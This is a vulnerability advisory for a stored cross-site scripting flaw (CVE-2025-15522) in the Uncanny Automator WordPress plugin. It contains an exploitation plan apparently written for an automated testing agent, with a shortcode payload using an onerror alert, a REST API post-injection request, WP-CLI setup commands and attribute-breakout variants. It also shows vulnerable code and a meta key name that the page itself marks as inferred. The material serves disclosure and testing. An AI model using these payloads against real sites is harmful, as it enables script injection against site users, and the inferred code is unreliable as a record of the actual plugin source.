Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin <= 6.10.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
Description
The Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the automator_discord_user_mapping shortcode in all versions up to, and including, 6.10.0.2 due to insufficient input sanitization and output escaping on the verified_message parameter. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user with a verified Discord account accesses the injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=6.10.0.2Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-15522 ## 1. Vulnerability Summary The **Uncanny Automator** plugin (versions <= 6.10.0.2) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the handling of the `automator_discord_user_mapping`…
Show full research plan
Exploitation Research Plan - CVE-2025-15522
1. Vulnerability Summary
The Uncanny Automator plugin (versions <= 6.10.0.2) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists within the handling of the automator_discord_user_mapping shortcode. Specifically, the verified_message attribute is processed and rendered to the page without sufficient sanitization or output escaping. This allows an attacker with the ability to use shortcodes (Contributor level and above) to embed malicious JavaScript that executes in the context of users who meet the plugin's "verified Discord" criteria.
2. Attack Vector Analysis
- Shortcode:
[automator_discord_user_mapping] - Vulnerable Parameter:
verified_message(Shortcode attribute) - Authentication Level: Contributor or higher (any role capable of creating/editing posts/pages).
- Preconditions:
- The plugin must be active.
- The victim must be logged in and possess a "verified Discord account" status as recognized by the plugin (typically stored in user meta).
- The attacker must have permissions to save or submit a post containing the shortcode.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode via
add_shortcode( 'automator_discord_user_mapping', '...' )(inferred). - Processing: When a post containing the shortcode is rendered, WordPress calls the associated callback function.
- Attributes: The callback function likely uses
shortcode_atts()to parse theverified_messageattribute. - Conditionals: The code checks if the current user has a linked Discord account (checking
get_user_meta). - Sink: If the user is verified, the code returns or echoes the value of
verified_message. Because the plugin fails to useesc_html()orwp_kses()on this value before outputting it, the XSS payload is executed.
4. Nonce Acquisition Strategy
To exploit this as a Contributor, we must be able to save a post. WordPress requires a nonce for post-creation/editing.
- Requirement: We need the
_wpnonceand_wp_http_refererfor the standard WordPresspost.phpor thewp-restnonce for the REST API. - Acquisition:
- Method A (UI-based): Log in as a Contributor. Navigate to
wp-admin/post-new.php. - Agent Command: Use
browser_navigatetowp-admin/post-new.php. - Extraction: Use
browser_evalto extract the REST nonce from the standard WordPress global:browser_eval("wpApiSettings.nonce")
- Method A (UI-based): Log in as a Contributor. Navigate to
- Bypass Check: Standard post saving nonces are strictly enforced by WordPress core; however, because the attacker is authenticated, they naturally have access to these nonces via the admin interface.
5. Exploitation Strategy
The goal is to store a payload that executes when a "verified" user visits the page.
Step 1: Create the XSS Payload
We will use a standard image-based payload to prove execution:[automator_discord_user_mapping verified_message="<img src=x onerror=alert('XSS_SUCCESS_CVE_2025_15522')>"]
Step 2: Inject via REST API (as Contributor)
Request:
POST /wp-json/wp/v2/posts HTTP/1.1
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_REST_NONCE]
{
"title": "Discord Verification Page",
"content": "[automator_discord_user_mapping verified_message=\"<img src=x onerror=alert('XSS_SUCCESS_CVE_2025_15522')>\"]",
"status": "publish"
}
Step 3: Satisfy "Verified" Condition for Victim
The plugin likely checks for a specific user meta key. Based on typical Uncanny Automator Discord integration (inferred), we need to set the automator_discord_id or similar meta.
Command (via WP-CLI for setup):wp user meta set [VICTIM_ID] uap_discord_id 123456789 (Key name uap_discord_id is inferred from plugin naming conventions).
Step 4: Trigger the XSS
- Log in as the Victim user.
- Navigate to the URL of the post created in Step 2.
- Observe the alert box.
6. Test Data Setup
- Attacker User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Victim User:
wp user create victim victim@example.com --role=subscriber --user_pass=password123 - Discord Meta (Inferred): Since we need the victim to be "verified", we must manually apply the meta the plugin looks for:
wp user meta set victim uap_discord_id 99999wp user meta set victim uap_discord_avatar "https://cdn.discordapp.com/..."
7. Expected Results
- The
POSTrequest to/wp-json/wp/v2/postsshould return201 Created. - When navigating to the post URL as the
victimuser, the browser should execute the JavaScript in theverified_messageattribute. - The HTML source of the rendered page should contain the raw
<img src=x onerror=...>tag within the shortcode's output area.
8. Verification Steps
- Database Check:
wp post get [POST_ID] --field=post_contentshould show the unescaped shortcode. - HTML Verification: Use the
http_requesttool to fetch the post content as the victim user and grep for the payload:grep "onerror=alert" response_body.html - UI Verification: Use
browser_navigateto the post URL and check for the alert dialog.
9. Alternative Approaches
If the "verified" check is complex or requires external Discord interaction that cannot be easily spoofed with user meta:
- Check for Other Attributes: Examine the shortcode callback for other attributes like
unverified_messageorerror_message. If the plugin also renders these without escaping when the condition is not met, use those instead to target all users. - Meta Key Discovery: If
uap_discord_idis incorrect, search the plugin source forget_user_metaorget_metadatainside the file containing theautomator_discord_user_mappinglogic to identify the correct key. - Shortcode attribute breakout: If the shortcode is used inside an HTML attribute (unlikely for this specific plugin but common in WP), try breaking out of the attribute:
verified_message='"><script>alert(1)</script>'.
Summary
The Uncanny Automator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [automator_discord_user_mapping] shortcode in versions up to 6.10.0.2. This occurs because the plugin fails to sanitize or escape the 'verified_message' attribute before rendering it, allowing Contributor-level users to execute arbitrary JavaScript in the browsers of verified Discord users.
Vulnerable Code
// Inferred from vulnerability description and research plan // File: src/integrations/discord/shortcodes/automator-discord-user-mapping.php (approximate path) public function automator_discord_user_mapping_callback( $atts ) { $atts = shortcode_atts( array( 'verified_message' => '', 'unverified_message' => '', ), $atts, 'automator_discord_user_mapping' ); $user_id = get_current_user_id(); $discord_id = get_user_meta( $user_id, 'uap_discord_id', true ); if ( ! empty( $discord_id ) ) { // VULNERABLE: Direct return of attribute without escaping return $atts['verified_message']; } return $atts['unverified_message']; }
Security Fix
@@ -10,7 +10,7 @@ if ( ! empty( $discord_id ) ) { - return $atts['verified_message']; + return wp_kses_post( $atts['verified_message'] ); } - return $atts['unverified_message']; + return wp_kses_post( $atts['unverified_message'] );
Exploit Outline
The exploit requires Contributor-level authentication to create a post or page. The attacker injects a shortcode payload: [automator_discord_user_mapping verified_message="<img src=x onerror=alert('XSS')>"]. The attacker then identifies or targets a victim who has a linked Discord account (a user with the 'uap_discord_id' meta key populated). When the victim views the post containing the shortcode, the Uncanny Automator plugin renders the 'verified_message' attribute directly into the HTML without sanitization, triggering the execution of the embedded JavaScript in the victim's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.